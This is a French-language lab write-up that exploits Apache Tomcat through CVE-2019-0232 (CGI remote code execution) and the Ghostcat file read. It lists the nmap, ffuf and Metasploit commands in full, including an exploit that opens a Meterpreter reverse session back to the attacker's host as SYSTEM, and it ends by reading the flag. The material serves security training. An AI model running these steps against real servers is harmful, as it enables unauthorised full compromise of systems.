Lab “Inject Tom” : Exploitation de Tomcat CGI RCE (CVE-2019-0232)
Plateforme : SecDojo / CyberLab Vulnérabilité principale : CVE-2019-0232 (Tomcat CGI Remote Code Execution, Windows) Résultat : ✅ accès
nt authority\systemobtenu, flag récupéré
#
Résumé des informations clés
| Élément | Valeur |
|---|---|
| Vecteur d’attaque | CVE-2019-0232 (Tomcat CGI RCE) |
| Point d’entrée | /cgi/tom.bat |
| Privilèges obtenus | nt authority\system |
| Flag | flag_74466dc7_6a4b_40bd_9384_68aaf0cb0a38 |
| Cible | 176.16.121.38 |
| Attaquant (LHOST) | 176.16.121.39 |
1. Reconnaissance (énumération)
nmap -sV -p- 176.16.121.38
Résultats clés :
| Port | Service |
|---|---|
| 8080 | Apache Tomcat 8.5.39 (HTTP) |
| 8009 | AJP13 (Apache JServ Protocol) |
| 445 | SMB (Microsoft-DS) |
Analyse : la version Tomcat 8.5.39 est connue pour être vulnérable à deux CVE :
- CVE-2019-0232 — Remote Code Execution via CGI
- CVE-2020-1938 (Ghostcat) — lecture de fichiers via le connecteur AJP
2. Vérification de la vulnérabilité (Ghostcat)
use auxiliary/admin/http/tomcat_ghostcat
set RHOSTS 176.16.121.38
set FILENAME /WEB-INF/web.xml
run
Résultat : le module a réussi à interagir avec le port 8009 et a confirmé que le serveur permettait la lecture de fichiers internes via le connecteur AJP.
Analyse : avant de tenter l’exécution de code, Ghostcat a été utilisé pour confirmer la vulnérabilité du serveur et pour tenter de lire les fichiers de configuration (web.xml), dans le but de trouver le chemin des scripts CGI.
3. Découverte du point d’entrée (fuzzing CGI)
ffuf -u http://176.16.121.38:8080/cgi/FUZZ.bat -w lab_scripts.txt
Résultat :
tom [Status: 200, Size: 0]
Analyse : l’exploit CVE-2019-0232 nécessite un script .bat ou .cmd valide pour injecter des arguments. Après plusieurs échecs sur le dossier standard /cgi-bin/, ce scan a révélé que le script se nommait tom.bat et se situait dans le dossier /cgi/.
💡 Point clé : ne pas se limiter à
/cgi-bin/par défaut ; fuzzer aussi des chemins alternatifs comme/cgi/.
4. Exploitation (Remote Code Execution)
use exploit/windows/http/tomcat_cgi_cmdlineargs
set RHOSTS 176.16.121.38
set TARGETURI /cgi/tom.bat
set LHOST 176.16.121.39
set AutoCheck false
set ForceExploit true
exploit
Résultat :
[*] Meterpreter session 1 opened (176.16.121.39:4444 -> 176.16.121.38:49248)
Analyse : cette commande exploite une erreur de manipulation des arguments de ligne de commande par le servlet CGI de Tomcat sur Windows. En forçant l’exploit sur le chemin découvert (/cgi/tom.bat), un accès interactif (Meterpreter) a été obtenu avec les privilèges les plus élevés : nt authority\system.
⚠️ Pourquoi
AutoCheck falseetForceExploit true? Le check automatique de Metasploit peut échouer à confirmer la vulnérabilité même quand elle est exploitable. Forcer l’exploit permet de contourner un faux négatif du vérificateur intégré.
5. Post-exploitation (capture du flag)
shell
type C:\Users\Administrator\Desktop\proof.txt
Résultat :
flag_74466dc7_6a4b_40bd_9384_68aaf0cb0a38
Analyse : une fois le contrôle de la machine obtenu, navigation vers le bureau de l’administrateur pour lire le fichier de preuve (proof.txt). En tant que SYSTEM, l’accès était illimité à tous les fichiers de la machine.
Chronologie
| Étape | Action | Résultat |
|---|---|---|
| 1 | Scan Nmap complet | Tomcat 8.5.39 exposé sur le port 8080, AJP13 sur 8009. |
| 2 | Vérification Ghostcat | Lecture de fichiers internes via AJP confirmée. |
| 3 | Fuzzing CGI (FFuf) | Script tom.bat découvert dans /cgi/. |
| 4 | Exploitation RCE (Metasploit) | Session Meterpreter ouverte en SYSTEM. |
| 5 | Lecture du flag | flag_74466dc7_6a4b_40bd_9384_68aaf0cb0a38. |
Leçons retenues
- Une version Tomcat obsolète (8.5.39) expose simultanément plusieurs CVE critiques (Ghostcat + CGI RCE).
- Le fuzzing de chemins CGI non standards (
/cgi/au lieu de/cgi-bin/) est essentiel quand l’emplacement par défaut échoue. - Un check Metasploit négatif ne signifie pas toujours que la cible n’est pas vulnérable ;
ForceExploitreste une option à considérer en environnement de lab autorisé. - Les exploits CGI Windows sur Tomcat peuvent directement octroyer des privilèges
SYSTEM, sans étape d’élévation supplémentaire.
Références
- CVE-2019-0232 — Apache Tomcat CGI Servlet Remote Code Execution
- CVE-2020-1938 — Ghostcat (Apache Tomcat AJP File Read/Inclusion)